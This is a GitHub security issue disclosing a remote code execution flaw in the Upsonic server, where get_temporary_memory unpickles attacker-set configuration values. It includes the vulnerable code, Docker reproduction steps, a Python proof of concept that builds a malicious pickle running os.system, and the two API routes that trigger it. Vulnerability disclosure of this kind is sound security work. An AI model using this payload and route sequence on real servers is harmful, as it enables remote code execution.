Skip to content

[Security] RCE in get_temporary_memory Function Due to Unsafe Pickle Deserialization in [Upsonic/Upsonic] #359

@CoolwindHF

Description

@CoolwindHF

RCE in get_temporary_memory Function Due to Unsafe Pickle Deserialization in [Upsonic/Upsonic]

Summary

When user is running Upsonic server, attacker can achieve RCE by sending well-designed crafted data.

Sink function:

  • src/upsonic/server/level_two/server/server.py
    • call_agent
      • Agent.agent
        • get_temporary_memory
          • pickle.loads

Sink code snippet:

def get_temporary_memory(agent_id: str) -> list:
    serialized_messages = Configuration.get(f"temp_memory_{agent_id}")
    if serialized_messages is None:
        return None
    
    # Deserialize messages from base64 encoded pickle
    messages = pickle.loads(base64.b64decode(serialized_messages))
    return messages

POC

build

mkdir Upsonic_test
cd Upsonic_test
git clone https://github.com/Upsonic/Upsonic.git
cp Upsonic/Dockerfile .
docker build -t Upsonic .

reproduce

Run the docker

docker run -d --name Upsonic Upsonic

Generate attack payload

import pickle
import os
import base64
class Evil:
    def __reduce__(self):
        return (os.system, ("echo 'pwned by CoolwindHF'",))
    
evil = Evil()
evil_pickled = pickle.dumps(evil, protocol=0)
print(base64.b64encode(evil_pickled).decode())

# Y3Bvc2l4CnN5c3RlbQpwMAooVmVjaG8gJ3B3bmVkIGJ5IENvb2x3aW5kSEYnCnAxCnRwMgpScDMKLg==

As we can see, via the function src/upsonic/server/storage/server/server.py#set_config, as well as the route named /storage/config/set, we can set any key-value pairs in Configuration which is saved by default as config.sqlite in server file system.

By following the function stack we can also see that the variable agent_id can be totally controlled, so we can firstly forge a key named temp_memory_{agent_id} and set the attack payload we generated before as its value.

Image

Then, we send the same agent_id to the route /level_two/agent with the request field memory set to true.

Image

In the docker's log, we can see the code is executed remotely.

Image

Impact

RCE

Credit

The vulnerability is found by Pinji Chen(cpi24@mals.tsinghua.edu.cn) from NisLlab (https://netsec.ccert.edu.cn/about) at Tsinghua University and Guanheng Liu(coolwind326@gmail.com)

Metadata

Metadata

Assignees

Labels

bugSomething isn't working

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions